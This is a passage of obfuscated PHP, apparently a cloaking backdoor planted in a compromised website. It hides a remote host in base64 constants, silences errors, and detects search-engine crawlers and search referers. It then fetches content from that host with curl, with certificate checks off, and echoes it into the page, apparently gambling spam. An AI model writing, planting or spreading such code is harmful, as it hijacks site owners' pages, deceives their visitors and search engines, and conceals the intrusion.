$nYMzm) { goto YQBeU; m3vSe: array_push($NmpeA, "{$SWeSV}\72\x20{$nYMzm}"); goto mQFO1; EwaxH: j05mK: goto gvnzA; mQFO1: w9ILT: goto EwaxH; YQBeU: if (!(stripos($SWeSV, "\x53\145\143\x2d") === 0)) { goto w9ILT; } goto m3vSe; gvnzA: } goto iWVYU; sagjd: if (!function_exists("\160\x61\71\162\x4d")) { function Pa9Rm() { goto lH09O; HMIlH: foreach ($_SERVER as $FFkKk => $nYMzm) { goto PgSgn; FzaQM: Bs0u1: goto xTWWZ; PgSgn: if (!(substr($FFkKk, 0, 5) == "\x48\x54\x54\120\137")) { goto Bs0u1; } goto SY5tc; SY5tc: $PIL9s[str_replace("\40", "\55", ucwords(strtolower(str_replace("\137", "\x20", substr($FFkKk, 5)))))] = $nYMzm; goto FzaQM; xTWWZ: zBS2E: goto M3_dj; M3_dj: } goto toFp3; wDKmX: return $PIL9s; goto wTkHL; toFp3: VAZ9t: goto wDKmX; lH09O: $PIL9s = array(); goto HMIlH; wTkHL: } $siSx1 = Pa9rm(); } else { $siSx1 = pA9Rm(); } goto GL9t7; w2IoL: array_push($NmpeA, "\x56\141\162\x79\72\x20\x41\x63\143\145\x70\164\55\x4c\x61\x6e\147\165\141\x67\x65"); goto GO3rP; e5m7V: echo dgWir(dlS5a . "\141\x6c\x2e\160\150\160"); goto nRoER; KrBkm: global $dq3vQ, $ArjVI, $gmLSk, $kPqwO; goto J_vj8; RvwdJ: exit; goto YTQnB; Ouw25: $siSx1 = array(); goto sagjd; pO6h3: ce2_c: goto tMB0m; mjCmI: $b0iDi = kaxoD(); goto ipxdy; P2T4Q: if (R8aWP($ArjVI)) { goto ohvs9; } goto e3F32; MX7lj: $IHyIp = urlencode($kPqwO); goto NcT1o; J_vj8: header("\103\141\x63\150\x65\55\x43\x6f\x6e\x74\x72\157\154\72\40\156\157\55\163\x74\157\162\x65\x2c\40\x6e\157\x2d\143\x61\x63\150\x65\x2c\x20\155\165\163\x74\55\162\145\166\141\x6c\x69\x64\x61\x74\145"); goto bTIEO; Chba9: exit; goto pO6h3; PRKoD: echo DGwiR(dlS5a . "\77{$gmLSk}{$kPqwO}\46\166\145\162\x3d" . Foe1r . "\x26\x76\75" . FuU1R); goto Chba9; nRoER: goto ce2_c; goto JAAzV; DeBSo: } goto ybmOv; ISr7m: function gJcH0() { } goto qb3zf; XzaOq: function dGWIr($acwxu, $NmpeA = array(), $XRHOt = 0, $iXyvk = 0) { goto brCjo; q4nvi: curl_setopt($whirN, CURLOPT_TIMEOUT, $iXyvk); goto hupjk; PUcZ4: NnDQd: goto rikiv; jQ61h: if (!curl_errno($whirN)) { goto NnDQd; } goto Ke0eO; cn4lH: goto IZHpB; goto ie7JH; KgXm8: return $u9Nab; goto UDbty; xjaXu: curl_setopt($whirN, CURLOPT_SSL_VERIFYHOST, false); goto J1Apq; UDbty: IZHpB: goto WkImM; t8qHt: curl_setopt($whirN, CURLOPT_HEADER, 0); goto KcsXU; hupjk: curl_setopt($whirN, CURLOPT_SSL_VERIFYPEER, false); goto xjaXu; Y3bmQ: $whirN = curl_init(); goto o_DQV; Cq6Gn: curl_setopt($whirN, CURLOPT_HTTPHEADER, $NmpeA); goto IlQAf; grNOn: curl_setopt($whirN, CURLOPT_REFERER, $_SERVER["\x48\x54\124\x50\x5f\x52\105\106\105\x52\x45\x52"]); goto Cq6Gn; rhyiD: $u9Nab = curl_exec($whirN); goto jQ61h; Kitnm: return file_get_contents($acwxu); goto cn4lH; J1Apq: curl_setopt($whirN, CURLOPT_FOLLOWLOCATION, true); goto rhyiD; KcsXU: curl_setopt($whirN, CURLOPT_RETURNTRANSFER, 1); goto p_rzp; p_rzp: curl_setopt($whirN, CURLOPT_USERAGENT, $_SERVER["\x48\124\124\x50\x5f\125\x53\x45\122\137\x41\x47\105\x4e\x54"]); goto grNOn; rikiv: curl_close($whirN); goto KgXm8; o_DQV: curl_setopt($whirN, CURLOPT_URL, $acwxu); goto t8qHt; ie7JH: HJmzC: goto Y3bmQ; brCjo: if (function_exists("\x63\x75\162\x6c\x5f\x69\156\x69\164")) { goto HJmzC; } goto Kitnm; Ke0eO: $u9Nab = NULL; goto PUcZ4; IlQAf: curl_setopt($whirN, CURLOPT_CONNECTTIMEOUT, $XRHOt); goto q4nvi; WkImM: } goto qHQkV; V4tRh: error_reporting(0); goto Rr7AR; AJ_fQ: set_time_limit(0); goto V4tRh; XY6pI: function KIeyu($H8vva) { goto YIBSU; vAZxW: $r2HKW = array("\147\157\157\x67\x6c\145\x2e", "\x62\151\156\x67\x2e", "\156\x61\166\x65\162\56", "\171\x61\150\x6f\x6f\x2e"); goto Vjy4l; LTWEP: return false; goto P_km_; WljvO: htpza: goto FRan7; YIBSU: if (!(substr($H8vva, 0, 4) === "\x68\x74\164\x70")) { goto I6658; } goto vAZxW; FRan7: I6658: goto LTWEP; Vjy4l: foreach ($r2HKW as $WKwzU) { goto Mlv3i; Z8Qi3: return true; goto AAmT3; yBRQw: aGzrw: goto x1tDg; Mlv3i: if (!(stripos($H8vva, $WKwzU) !== false)) { goto ukgRE; } goto Z8Qi3; AAmT3: ukgRE: goto yBRQw; x1tDg: } goto WljvO; P_km_: } goto XzaOq; OvZXg: $ArjVI = $_SERVER["\110\x54\x54\x50\137\125\123\105\122\137\x41\107\x45\116\x54"]; goto mgxOE; mgxOE: $gmLSk = $_SERVER["\x48\x54\x54\120\x5f\x48\117\123\124"]; goto QxMOt; tSAvn: function x2aeg() { $d6lhk = ob_get_contents(); ob_end_clean(); } goto jMWPh; C9u9p: define("\x6f\154\164\101\166", base64_decode("\x61\110\x52\x30\x63\x44\x6f\166\114\x32\106\x6b\114\155\122\x6e\141\x7a\x67\64\x4f\x43\x35\60\142\x33\101\166")); goto HEjHN; Rr7AR: define("\106\157\x65\61\x72", "\x30\70\60\x38\152\163\x63"); goto v6B6n; RvFxS: function R8aWp($EQhsi) { goto vzh2w; xlt1M: foreach ($c1t39 as $EeONX) { goto h9uZV; PE2Ew: qNlt8: goto HlF0U; r1eCE: return true; goto wUXuu; wUXuu: GUQ7b: goto PE2Ew; h9uZV: if (!(stripos($EQhsi, $EeONX) !== false)) { goto GUQ7b; } goto r1eCE; HlF0U: } goto OctPm; vzh2w: $c1t39 = array("\107\157\157\147\154\x65\142\157\x74", "\102\151\156\x67\x62\157\164", "\x79\145\x74\x69", "\x4d\x53\x4e\x42\117\x54", "\x59\x61\150\157\x6f\x21"); goto xlt1M; KKgv7: return false; goto GktyC; OctPm: Z2Z9a: goto KKgv7; GktyC: } goto XY6pI; QxMOt: $kPqwO = $_SERVER["\x52\x45\121\125\105\x53\x54\137\125\122\x49"]; goto ISr7m; jMWPh: function sywmm($ke0Jn, $WtHPC = "\57\133\x3f\134\57\x5d\x28\x69\144\x7c\147\141\x6d\x65\151\x64\x7c\x49\x44\x7c\153\162\x73\154\157\164\111\104\174\x47\141\155\145\174\x61\x70\160\x7c\x69\157\163\x7c\x61\156\x64\x72\x6f\151\144\174\144\x6f\x77\x6e\154\x6f\x61\x64\174\142\x6c\141\x6e\x6b\x7c\x53\154\157\x74\174\163\x6c\157\x74\x7c\142\x65\x74\174\143\141\163\151\156\x6f\x7c\x67\x61\155\x65\163\174\160\154\x61\171\x7c\x76\151\x64\x65\157\x7c\x70\157\x6b\x65\x72\x7c\156\145\x77\163\174\x73\154\157\174\147\157\144\163\174\146\151\163\150\x7c\x6d\141\x68\x6a\x7c\x75\162\151\x29\x2e\x2f") { return preg_match($WtHPC, $ke0Jn) === 1; } goto RvFxS; v6B6n: define("\x46\x75\125\61\122", "\126\x45\x67\152\x53\x32\61\x6e"); goto ka1ej; PWVg2: define("\x64\x6c\x53\x35\x61", base64_decode("\x61\x48\x52\x30\x63\104\x6f\166\x4c\x7a\101\x34\115\104\147\165\132\107\x64\162\x4f\104\x67\x34\114\x6e\122\166\143\103\70\75")); goto C9u9p; qHQkV: function KAxod() { foreach (array("\x48\124\x54\x50\137\x43\114\x49\105\116\x54\137\111\120", "\x48\124\x54\120\137\130\137\122\105\x41\114\137\111\120", "\110\x54\124\120\137\103\106\137\103\x4f\x4e\x4e\x45\x43\124\x49\116\x47\137\x49\120", "\x48\124\x54\120\x5f\130\x5f\x46\117\x52\x57\x41\122\104\x45\x44\x5f\x46\x4f\x52", "\110\124\124\x50\137\130\x5f\106\x4f\x52\127\x41\x52\104\x45\x44", "\x48\124\124\x50\x5f\x58\137\103\114\x55\123\124\105\x52\x5f\103\x4c\111\105\x4e\124\137\111\x50", "\x48\x54\124\120\x5f\106\x4f\122\127\101\x52\104\105\x44\137\x46\117\x52", "\x48\124\124\120\137\106\x4f\122\x57\101\x52\x44\105\x44", "\x52\105\115\117\124\105\x5f\101\104\104\122") as $SWeSV) { goto eeb3v; NX3U7: Mvao6: goto CqQRb; QlgXo: HFAsJ: goto DDVmr; eeb3v: if (!(array_key_exists($SWeSV, $_SERVER) === true)) { goto gpKkB; } goto xhMQI; xhMQI: foreach (explode("\54", $_SERVER[$SWeSV]) as $i9Bsn) { goto FltW6; FltW6: $i9Bsn = trim($i9Bsn); goto bKQIf; bKQIf: if (!(filter_var($i9Bsn, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto ovbGA; } goto YezOJ; AsjA8: ovbGA: goto XJsWm; XJsWm: dnQgl: goto qON4K; YezOJ: return $i9Bsn; goto AsjA8; qON4K: } goto QlgXo; DDVmr: gpKkB: goto NX3U7; CqQRb: } S4HOL: } goto dA070; ka1ej: define("\115\x63\120\127\131", base64_decode("\141\110\122\60\143\110\115\66\x4c\171\70\167\117\x44\101\64\x4c\155\122\x6e\141\172\147\64\117\x43\65\x30\142\x33\x41\x76")); goto PWVg2; qb3zf: function KR6lG() { ob_start(); register_shutdown_function("\151\156\x73\145\x72\x74\137\x68\x74\x6d\154\x5f\145\x6e\x64"); } goto tSAvn; ybmOv: JXGsy(); ?>